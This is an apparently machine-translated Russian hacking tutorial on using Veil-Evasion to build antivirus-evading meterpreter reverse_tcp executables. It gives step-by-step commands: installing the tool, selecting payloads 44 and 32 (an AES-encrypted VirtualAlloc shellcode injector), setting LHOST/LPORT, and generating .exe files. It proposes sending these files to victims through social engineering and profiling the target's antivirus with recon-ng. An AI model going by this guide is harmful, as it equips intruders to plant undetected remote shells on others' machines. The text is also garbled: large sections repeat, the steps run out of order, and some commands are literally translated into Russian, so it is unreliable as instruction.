Одна из важнейших задач, которую должен решить любой хакер, — как обойти устройства безопасности и остаться незамеченным. К ним относятся антивирусное ПО, системы обнаружения вторжений, межсетевые экраны, межсетевые экраны веб-приложений и многое другое. Поскольку практически все эти устройства используют схему обнаружения на основе сигнатур, ведущую базу данных известных эксплойтов и сигнатур полезной нагрузки, ключ к успеху заключается в следующем:
В предыдущих руководствах мы использовали как msfpayload/msencode от Metasploit (теперь устарел), так и msfvenom. В этих случаях разработчики антивируса кодировали сигнатуру для шаблонов, используемых этими схемами. В этом руководстве мы рассмотрим другую схему перекодирования для сокрытия сигнатуры известных полезных нагрузок, известную как Veil-Evasion.
Veil-Evasion был специально разработан для изменения сигнатуры вашей полезной нагрузки. Он написан на Python, но имеет множество кодировщиков, позволяющих переписывать код различными способами, чтобы избежать обнаружения.
kali > apt-get install veil-evasion
кали > уклонение от завесы
После этого вы увидите следующий начальный экран:
Veil начнёт установку. Система спросит, хотите ли вы установить зависимости; ответьте «y» в качестве подтверждения.
Далее Veil-Evasion начнёт загрузку всех своих зависимостей. Это может занять некоторое время, поэтому наберитесь терпения. В конце концов, Veil-Evasion спросит вас, хотите ли вы установить Python для Windows. Выберите «Установить для всех пользователей» и нажмите кнопку «Далее».
Мастер установки предложит вам выбрать каталог по умолчанию. После этого появится экран, как показано ниже. Нажмите «Далее».
В конце концов вы увидите экран, подобный показанному ниже. Нажмите «Далее» ещё раз.
Продолжайте нажимать кнопку «Далее» на протяжении нескольких экранов, пока не доберётесь до окна с кнопкой «Готово». Нажмите её. В конце концов, ваше терпение будет вознаграждено, когда вы наконец доберётесь до экрана ниже.
Теперь мы готовы начать использовать Veil-Evasion для создания практически необнаружимой полезной нагрузки.
Давайте теперь введем «list», так как это выведет список всех полезных нагрузок, с которыми может работать Veil-Evasion.
Те из вас, кто знаком с Metasploit, узнают многие из этих полезных нагрузок.
> использовать 44
Когда мы это сделаем, Veil-Evasion выведет на экран, как показано ниже, предлагая нам установить параметры.
Нам потребуется настроить LHOST и LPORT.
> установить LHOST 192.168.1.101
> установить LPORT 6996
Конечно, используйте соответствующий вашим обстоятельствам IP-адрес и порт.
Далее нам нужно указать Veil-Evasion сгенерировать исполняемый файл.
> генерировать
Как вы можете видеть на снимке экрана выше, Veil-Evasion сгенерировал новый .exe-файл, который я назвал «newpayload.exe» (вы можете назвать его как угодно).
Это номер 32 в нашем списке полезной нагрузки, поэтому введите:
> информация 32
Затем он возвращает информацию об этой полезной нагрузке, как показано ниже.
Эта полезная нагрузка использует инъекцию VirtualAlloc в сочетании с шифрованием AES (AES — это усовершенствованный стандарт шифрования, который обычно считается одним из самых стойких из существующих) для сокрытия своей истинной природы от антивирусного программного обеспечения и других устройств безопасности.
Далее сообщим Veil-Evasion, что мы хотим использовать эту полезную нагрузку.
> использовать 32
Здесь у нас есть возможность изменить параметры по умолчанию, если это необходимо. Пока оставим параметры по умолчанию без изменений.
Далее сообщим Veil-Evasion, что мы хотим сгенерировать эту зашифрованную полезную нагрузку.
> генерировать
При этом он будет использовать полезную нагрузку по умолчанию windows/meterpreter/reverse_tcp, а затем запросит LHOST и LPORT. После того, как мы завершим ввод необходимой информации для нашей полезной нагрузки, он начнёт генерировать шелл-код. Это может занять несколько минут, так что наберитесь терпения.
Далее Veil-Evasion предложит нам выбрать название для нашей полезной нагрузки. Вы можете использовать любое имя, какое душе угодно, но я использовал простое «veilpayload».
Наконец, Veil-Evasion завершит свою работу и
представит нам готовый продукт, как мы видим ниже.
Этот новый код со встроенным meterpreter обойдет большинство антивирусных программ и устройств безопасности. Как и в случае с любым другим антивирусом, разработчики антивируса, вероятно, найдут способ обнаружить даже эту полезную нагрузку, поэтому проявите изобретательность и попробуйте другие методы обфускации полезной нагрузки в Veil-Evasion, пока не найдете тот, который скроет вашу полезную нагрузку.
Обход защитного ПО и устройств — одна из важнейших задач хакера, и Veil-Evasion — ещё один инструмент в нашем арсенале. Однако помните, что НИКОГДА не существует единственно верного решения. Хакер должен быть настойчивым и изобретательным в поиске способов обхода этих устройств, поэтому, если один метод не срабатывает, попробуйте другой, затем ещё один, пока не найдёте работающий. Кроме того, вам нужно обойти только антивирус цели, а не все антивирусы. Возможно, вы сможете определить антивирус цели с помощью recon-ng, а затем разработать полезную нагрузку, которая обойдёт этот антивирус.
- создайте свой собственный эксплойт, или
- изменить сигнатуру известного эксплойта или полезной нагрузки.
В предыдущих руководствах мы использовали как msfpayload/msencode от Metasploit (теперь устарел), так и msfvenom. В этих случаях разработчики антивируса кодировали сигнатуру для шаблонов, используемых этими схемами. В этом руководстве мы рассмотрим другую схему перекодирования для сокрытия сигнатуры известных полезных нагрузок, известную как Veil-Evasion.
Veil-Evasion был специально разработан для изменения сигнатуры вашей полезной нагрузки. Он написан на Python, но имеет множество кодировщиков, позволяющих переписывать код различными способами, чтобы избежать обнаружения.
Шаг 1: Установка Veil-Evasion
Сначала нам нужно установить Veil-Evasion на нашу систему. Его можно скачать из репозитория Kali. Просто введите:kali > apt-get install veil-evasion
Шаг 2: Настройка уклонения от завесы
Чтобы запустить Veil-Evasion, просто введите:кали > уклонение от завесы
После этого вы увидите следующий начальный экран:
Veil начнёт установку. Система спросит, хотите ли вы установить зависимости; ответьте «y» в качестве подтверждения.
Далее Veil-Evasion начнёт загрузку всех своих зависимостей. Это может занять некоторое время, поэтому наберитесь терпения. В конце концов, Veil-Evasion спросит вас, хотите ли вы установить Python для Windows. Выберите «Установить для всех пользователей» и нажмите кнопку «Далее».
Мастер установки предложит вам выбрать каталог по умолчанию. После этого появится экран, как показано ниже. Нажмите «Далее».
В конце концов вы увидите экран, подобный показанному ниже. Нажмите «Далее» ещё раз.
Продолжайте нажимать кнопку «Далее» на протяжении нескольких экранов, пока не доберётесь до окна с кнопкой «Готово». Нажмите её. В конце концов, ваше терпение будет вознаграждено, когда вы наконец доберётесь до экрана ниже.
Теперь мы готовы начать использовать Veil-Evasion для создания практически необнаружимой полезной нагрузки.
Шаг 3: Создайте EXE-файл с полезной нагрузкой
На первом этапе мы создадим простой исполняемый файл (.exe), содержащий полезную нагрузку, позволяющую нам получить доступ к системе жертвы. Этот файл можно отправить жертве, чтобы она могла выполнить его, нажав на него. Как правило, подобные атаки являются частью атак социальной инженерии.Давайте теперь введем «list», так как это выведет список всех полезных нагрузок, с которыми может работать Veil-Evasion.
Те из вас, кто знаком с Metasploit, узнают многие из этих полезных нагрузок.
Шаг 4: Использование полезной нагрузки
В этом случае давайте используем ruby/meterpreter/rev_tcp или число 44. Давайте наберем:> использовать 44
Когда мы это сделаем, Veil-Evasion выведет на экран, как показано ниже, предлагая нам установить параметры.
Нам потребуется настроить LHOST и LPORT.
> установить LHOST 192.168.1.101
> установить LPORT 6996
Конечно, используйте соответствующий вашим обстоятельствам IP-адрес и порт.
Далее нам нужно указать Veil-Evasion сгенерировать исполняемый файл.
> генерировать
Как вы можете видеть на снимке экрана выше, Veil-Evasion сгенерировал новый .exe-файл, который я назвал «newpayload.exe» (вы можете назвать его как угодно).
Шаг 5: Создайте зашифрованную полезную нагрузку, чтобы избежать обнаружения
Далее попробуем создать зашифрованную полезную нагрузку, которую можно будет пропустить через антивирусное ПО и другие устройства безопасности. В данном случае мы будем использовать другую полезную нагрузку из списка, а именно python/shellcode_inject/aes_encrypt. Этот тип полезной нагрузки использует внедрение VirtualAlloc, которое создаёт исполняемую область в памяти для шелл-кода, а затем блокирует эту область памяти в физической памяти.Это номер 32 в нашем списке полезной нагрузки, поэтому введите:
> информация 32
Затем он возвращает информацию об этой полезной нагрузке, как показано ниже.
Эта полезная нагрузка использует инъекцию VirtualAlloc в сочетании с шифрованием AES (AES — это усовершенствованный стандарт шифрования, который обычно считается одним из самых стойких из существующих) для сокрытия своей истинной природы от антивирусного программного обеспечения и других устройств безопасности.
Далее сообщим Veil-Evasion, что мы хотим использовать эту полезную нагрузку.
> использовать 32
Здесь у нас есть возможность изменить параметры по умолчанию, если это необходимо. Пока оставим параметры по умолчанию без изменений.
Далее сообщим Veil-Evasion, что мы хотим сгенерировать эту зашифрованную полезную нагрузку.
> генерировать
При этом он будет использовать полезную нагрузку по умолчанию windows/meterpreter/reverse_tcp, а затем запросит LHOST и LPORT. После того, как мы завершим ввод необходимой информации для нашей полезной нагрузки, он начнёт генерировать шелл-код. Это может занять несколько минут, так что наберитесь терпения.
Далее Veil-Evasion предложит нам выбрать название для нашей полезной нагрузки. Вы можете использовать любое имя, какое душе угодно, но я использовал простое «veilpayload».
Наконец, Veil-Evasion завершит свою работу и
представит нам готовый продукт, как мы видим ниже.
Этот новый код со встроенным meterpreter обойдет большинство антивирусных программ и устройств безопасности. Как и в случае с любым другим антивирусом, разработчики антивируса, вероятно, найдут способ обнаружить даже эту полезную нагрузку, поэтому проявите изобретательность и попробуйте другие методы обфускации полезной нагрузки в Veil-Evasion, пока не найдете тот, который скроет вашу полезную нагрузку.
Обход защитного ПО и устройств — одна из важнейших задач хакера, и Veil-Evasion — ещё один инструмент в нашем арсенале. Однако помните, что НИКОГДА не существует единственно верного решения. Хакер должен быть настойчивым и изобретательным в поиске способов обхода этих устройств, поэтому, если один метод не срабатывает, попробуйте другой, затем ещё один, пока не найдёте работающий. Кроме того, вам нужно обойти только антивирус цели, а не все антивирусы. Возможно, вы сможете определить антивирус цели с помощью recon-ng, а затем разработать полезную нагрузку, которая обойдёт этот антивирус.